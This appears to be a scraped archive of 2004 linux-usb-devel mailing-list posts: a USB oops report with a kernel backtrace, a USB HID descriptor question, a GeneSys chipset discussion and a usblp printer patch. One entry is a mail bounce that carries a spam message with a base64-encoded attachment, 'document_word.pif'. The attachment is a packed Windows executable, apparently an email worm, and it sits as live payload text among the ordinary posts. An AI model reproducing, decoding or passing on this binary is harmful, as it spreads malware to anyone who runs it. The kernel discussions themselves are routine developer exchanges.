USB doesn't really work on my ThinkPad X40. It either panics or oopses if I unplug a device or suspend/resume using APM. I'm running standard kernel 2.6.5-rc3-mm4, but this has never worked on any kernel back to 2.6.3. USB works more or less OK with 2.4.25, but I cannot run 2.4 thanks to suspend/resume issues. If I have no devices plugged in, (including the internal USB bluetooth module), everything works fine. Applying the recent uhci-urb patch had no effect (on 2.6.5-rc3-mm3). Please let me know what other tests I should run, or information you need. Here is a panic backtrace, from suspending/resuming with the bluetooth module active: (Even though it is tainted here, thanks to my wlan drivers, I get an identical call trace with an untainted kernel.) Unable to handle kernel NULL pointer dereference at virtual address 0004 printing eip: c02113ad *pde = Oops: 0002 [#1] PREEMPT CPU:0 EIP:0060:[c02113ad] Tainted: PF VLI EFLAGS: 00010002(2.6.5-rc3-mm4) EIP is at urb_unlink+0x2d/0x80 eax: df2a93dc ebx: ecx: edx: c0391000 esi: 0246 edi: df2a93d4 ebp: c0363f40 esp: c0391f70 ds: 007b es: 007b ss: 0068 Process swapper (pid: 0, threadinfo=c0391000 task=c02f4a80) Stack: df2a93d4 c0363f40 de8c7800 c0211d05 c0391000 df2a93d4 e09477a9 deb1e500 de8c7800 de8c79f4 c0363f40 e094780b de8c79d4 de8c7800 de8c79d4 c0363f40 e0947959 c0391000 c0121686 de8c7800 0001 0009 Call Trace: [c0211d05] usb_hcd_giveback_urb+0x15/0x30 [e09477a9] uhci_finish_urb+0x39/0x60 [uhci_hcd] [e094780b] uhci_finish_completion+0x3b/0x50 [uhci_hcd] [e0947959] uhci_irq+0xe9/0x160 [uhci_hcd] [c0121686] update_wall_time+0x16/0x40 [c0211d4e] usb_hcd_irq+0x2e/0x60 [c0108290] handle_IRQ_event+0x30/0x60 [c010864e] do_IRQ+0xce/0x1b0 [c01086dc] do_IRQ+0x15c/0x1b0 [c02b0228] common_interrupt+0x18/0x20 [e08da1ba] apm_bios_call_simple+0x6a/0xd0 [apm] [e08da348] apm_do_idle+0x18/0x70 [apm] [e08da475] apm_cpu_idle+0xa5/0x150 [apm] [e08da473] apm_cpu_idle+0xa3/0x150 [apm] [c0104c54] cpu_idle+0x34/0x40 [c03648ef] start_kernel+0x14f/0x170 [c03644d0] unknown_bootoption+0x0/0x120 Code: 0c 89 7c 24 08 89 c7 89 1c 24 89 74 24 04 8b 40 10 85 c0 75 4c 9c 5e fa ba 00 f0 ff ff 21 e2 ff 42 14 8d 47 08 8b 4f 08 8b 58 04 89 59 04 89 0b 89 40 04 8b 5f 14 89 47 08 56 9d ff 4a 14 8b 42 0 Kernel panic: Fatal exception in interrupt In interrupt handle - not syncing Thanks, Adam --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] USB device development problem...
Heiko Rosemann wrote: Hi everyone, I'm standing a little bit on the other side of the road - I am currently developing a USB HID. Things work with Windows 98 and XP, but with Linux (both 2.4.24 and 2.6.3) I get errors when it tries to receive the device descriptor. 2.4.24 tells me: usb.c: USB device descriptor short read (expected 18, got 2) Maybe your firmware didn't act right on the previous device descriptor read, which was for just eight bytes. Linux will usually issue SETUP, IN DATA/8, OUT DATA/0 ... three stages. Since Windows does things OK, I'm just wondering what to blame - is my device too slow? Does Linux send out the requests faster than Windows? Or is there a bug in Linux taking the last packet size for the entire packet size? I've been looking around in usb.c and adding a few debug messages here and there, but I didn't gain any interesting information from them... Any or all of those could be, though I'd suspect not that last one. I also tried deactivating the first test when reading only 8 Bytes from the device to get the maximum endpoint packet size and setting maximum packet size manually - and it seems as if I got the entire descriptor without errors, but the next descriptor, the configuration descriptor, fails in that case with a similar error (...short read (expected 25, got 9)) One possibility would be that your firmware has a bug in how it handles short GET_DESCRIPTOR requests, which affects the next request. The idiom Linux uses is to read a partial descriptor (to find out the full length), and then the whole thing. Some devices would misbehave otherwise. I think most production devices _don't_ misbehave this way, but there will surely be some. - Dave Hope anyone can point me to the right direction... TIA, Heiko --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] GeneSys logic chipsets again
Am Freitag, 2. April 2004 23:43 schrieb Alan Stern: On Fri, 2 Apr 2004, Brad Campbell wrote: Ahah, that's the thing. It's not locking up on the actual data URB, it locks up on the URB after the data was sent. So from what I gather, the data makes it to the disk, it just can't retrieve the status of the transfer. You're missing the point. Without being able to retrieve the status, Windows has no way to know that data is safe on the disk. So after the port reset it either has to retry (and fail again) or give up and forge on ahead, not knowing whether the data was stored or not. Windows might read in the sector in question and compare. I wouldn't put it past them. Regards Oliver --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] [PATCH] usblp printer GET_DEVICE_ID fix (2.6.5-rc2)
I have an Epson Stylus CX3200. But the GET_DEVICE_ID ioctl is not working
(see kern.log output below).
Because of this, user software like foomatic-gui cannot identify it.
Turns out there is a bug in the GET_DEVICE_ID implementation. The patch below
(against 2.6.5-rc2) fixes the code to work according to the USB printer spec.
After fixing the code, I found that Adam Lazur already reported this issue
months ago:
http://sourceforge.net/mailarchive/forum.php?thread_id=3065460forum_id=5398
I hope his patch was missed by mistake. Please report if there is a reason not
to take his or my patch. His mail explains the problem and fix in more detail,
and there is nothing usefull I can add to that.
Martin Habets
-
Part of kern.log:
Apr 1 19:09:55 palantir8 kernel: usb 1-2: new full speed USB device using address 3
Apr 1 19:09:55 palantir8 kernel: usb 1-2: new device strings: Mfr=1, Product=2,
SerialNumber=3
Apr 1 19:09:55 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/core/message.c: USB device number
3 default language ID 0x409
Apr 1 19:09:55 palantir8 kernel: usb 1-2: Product: USB MFP
Apr 1 19:09:55 palantir8 kernel: usb 1-2: Manufacturer: EPSON
Apr 1 19:09:55 palantir8 kernel: usb 1-2: SerialNumber: W23231910201022370
Apr 1 19:09:55 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/core/usb.c: usb_hotplug
Apr 1 19:09:56 palantir8 kernel: usb 1-2: registering 1-2:1.0 (config #1, interface 0)
Apr 1 19:09:56 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/core/usb.c: usb_hotplug
Apr 1 19:09:56 palantir8 kernel: usb 1-2: registering 1-2:1.1 (config #1, interface 1)
Apr 1 19:09:56 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/core/usb.c: usb_hotplug
Apr 1 19:09:57 palantir8 kernel: usblp 1-2:1.1: usb_probe_interface
Apr 1 19:09:57 palantir8 kernel: usblp 1-2:1.1: usb_probe_interface - got id
Apr 1 19:09:57 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/class/usblp.c: usblp0 set protocol
2
Apr 1 19:09:57 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/class/usblp.c: usblp_control_msg:
rq: 0x00 dir: 1 recip: 1 value: 1 len: 0x3ff result: -32
Apr 1 19:09:57 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/class/usblp.c: usblp0: error = -32
reading IEEE-1284 Device ID string
After patch:
Apr 3 03:13:04 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/class/usblp.c: usblp0 set protocol
2
Apr 3 03:13:04 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/class/usblp.c: usblp_control_msg:
rq: 0x00 dir: 1 recip: 1 value: 0 idx: 256 len: 0x3ff result: 84
Apr 3 03:13:04 palantir8 kernel:
/home/opendev/src/linux/linux-2.6.5-rc2/drivers/usb/class/usblp.c: usblp0 Device ID
string [len=84]=MFG:EPSON;CMD:ESCPL2,BDC,D4;MDL:Stylus CX3200;CLS:PRINTER;DES:EPSON
Stylus CX3200;
-
--- 2.6/drivers/usb/class/usblp.c.original 2004-03-20 00:11:03.0 +
+++ 2.6/drivers/usb/class/usblp.c 2004-04-03 04:18:19.0 +0100
@@ -226,11 +226,21 @@
static int usblp_ctrl_msg(struct usblp *usblp, int request, int type, int dir, int
recip, int value, void *buf, int len)
{
- int retval = usb_control_msg(usblp-dev,
+ int retval;
+ int index = usblp-ifnum;
+
+ /* High byte has the interface index.
+ Low byte has the alternate setting.
+*/
+ if ((request == USBLP_REQ_GET_ID) (type == USB_TYPE_CLASS)) {
+ index =
(usblp-ifnum8)|usblp-protocol[usblp-current_protocol].alt_setting;
+ }
+
+ retval = usb_control_msg(usblp-dev,
dir ? usb_rcvctrlpipe(usblp-dev, 0) : usb_sndctrlpipe(usblp-dev, 0),
- request, type | dir | recip, value, usblp-ifnum, buf, len,
USBLP_WRITE_TIMEOUT);
- dbg(usblp_control_msg: rq: 0x%02x dir: %d recip: %d value: %d len: %#x
result: %d,
- request, !!dir, recip, value, len, retval);
+ request, type | dir | recip, value, index, buf, len,
USBLP_WRITE_TIMEOUT);
+ dbg(usblp_control_msg: rq: 0x%02x dir: %d recip: %d value: %d idx: %d len:
%#x result: %d,
+ request, !!dir, recip, value, index, len, retval);
return retval 0 ? retval : 0;
}
@@ -440,6 +450,9 @@
goto done;
}
+ dbg(usblp_ioctl: cmd=0x%x (%c nr=%d len=%d dir=%d), cmd, _IOC_TYPE(cmd),
+ _IOC_NR(cmd), _IOC_SIZE(cmd), _IOC_DIR(cmd) );
+
if (_IOC_TYPE(cmd) == 'P') /* new-style ioctl number */
switch (_IOC_NR(cmd)) {
---
This SF.Net email is sponsored by: IBM Linux Tutorials
Free Linux tutorial presented by Daniel Robbins, President and CEO of
GenToo technologies. Learn everything from fundamentals to system
administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click
___
[linux-usb-devel] failure notice
Hi. This is the qmail-send program at enviroserver.envirolink.org. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. [EMAIL PROTECTED]: This user does not exist. --- Below this line is a copy of the message. Return-Path: [EMAIL PROTECTED] Received: (qmail 18737 invoked from network); 3 Apr 2004 04:17:11 - Received: from 61-217-54-105.hinet-ip.hinet.net (HELO envirolink.org) (61.217.54.105) by 208.40.195.228 with SMTP; 3 Apr 2004 04:17:11 - From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: Word file Date: Sat, 3 Apr 2004 12:17:16 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0002_16B3.7902 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0002_16B3.7902 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit Your document is attached. --=_NextPart_000_0002_16B3.7902 Content-Type: application/octet-stream; name=document_word.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=document_word.pif TVqQAAME//8AALgAQAAA uKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAA4AAPAQsBBgAASAAA APBCcAEAABBgAEAAABACAAAEAAQAAIABAAAE AgAAEAAAEAAQAAAQEAAA/HEBAK8BYAEA EAAA LnBldGl0ZQAAUAEAABA8CAAAYAAA4BBg AQAQAEQAAEAAAEAAAKsDcAEAAAQE AABgAADi AIgC AAAjWZWUi0QkBIPEKo2QNIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAZIklAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkcAtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiUcvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToVxPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAMYTAABicwEAiHIBAG1z AQCUcgEAenMBAKhyAQCGcwEAsHIB AJFzAQC4cgEAnnMBAMByAQAAAMhy AQDWcgEAAOJyAQDwcgEAAHMBABJzAQAAJHMBAAALAACAAEBzAQAA VHMBAE1lc3NhZ2VCb3hBd3NwcmludGZBRXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAVmlydHVhbFByb3RlY3QASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxs AABVACNL LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q c3UyNDah4RiNMLEZ5wLoY+8nAGEAAACf0B59LFAEyC92WUGoz7dMAENKSTV9SfNMFsaLNcr/ Fv1JH7pmAAz4ST+5Lje4ADBpaxfaVNyoKVsn6WaIgGsa2xs1XVso89/0VBJZEQgX5bEWjCwK qlyNQcKD7RjLg3xeEl8VcPcISg3wx0DdLWFWA1+QEk6COEiI9CmEAHeOVp81jodfBoA8bgTL ukUA8PSqislLA8oDo/220qcHaQa/vM2/RlJdDancS8uEx0LEhVW8lAcAn2XWp8YU3gGVd5/w rGdAQTSKGzbUfpTtxgpweFp0NfaVLQU4RZJQikZ++nALsQw8A2oXYVErIyhKZD2rHA29DFJQ ACWwproYIpZZyW0kw88Vq7fAJtzrbCK931+m5uVEwtKGp6zcLHTNSZTO8IsSJk/mGkz94/HU gF+O9FqBx24MIOl8X88RU1+p9LJotlZpzVZfWWS2/3IKl3eGgym+14JqOdlGpM3aIpS5KQSm nmCwR7hG3La+JUXw+KOiSrSNvpSl9cvtqp+YRcDGxmgowiP+VQp02W2wDRRq9g86LaCVElpe smugpDsZcpSnPM2teZUv2AijvJj8pLhQqTaCkxAVw4EdYaiKohdLr2nLQG1Q+CcmMQU0Y9oy LFAQ1HKvGtZcAK6iJukK3oJM8rIDNUlgl+duAIUVbILFtJs4AnhLdPUsdDl2vKJo+V1KN8Rn 5F2FAOSZjm6qHl6hsFKXITMx1F0b3W+RR5ewnlJ2ijs2S3+6t9ExQ0HbEIP4tAbDmz4tTVz7 +dsaefWquHZqzscNQkXH2JoeWqO+HRaHfX0yCgXD+LwP2fnyv/0BEGyJVmR5MQtfQysE8+IU
Re: [linux-usb-devel] GeneSys logic chipsets again
Oliver Neukum wrote: Am Freitag, 2. April 2004 23:43 schrieb Alan Stern: On Fri, 2 Apr 2004, Brad Campbell wrote: Ahah, that's the thing. It's not locking up on the actual data URB, it locks up on the URB after the data was sent. So from what I gather, the data makes it to the disk, it just can't retrieve the status of the transfer. You're missing the point. Without being able to retrieve the status, Windows has no way to know that data is safe on the disk. So after the port reset it either has to retry (and fail again) or give up and forge on ahead, not knowing whether the data was stored or not. Windows might read in the sector in question and compare. I wouldn't put it past them. Nah, it just pops up an error message which effectively says that it had an error trying to save my data and it's likley it did not make it to disk, sorry about that. Alan is right, the point of the argument had gone whooshing past my cranium. Oh well, back to sqaure one I guess. Brad --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
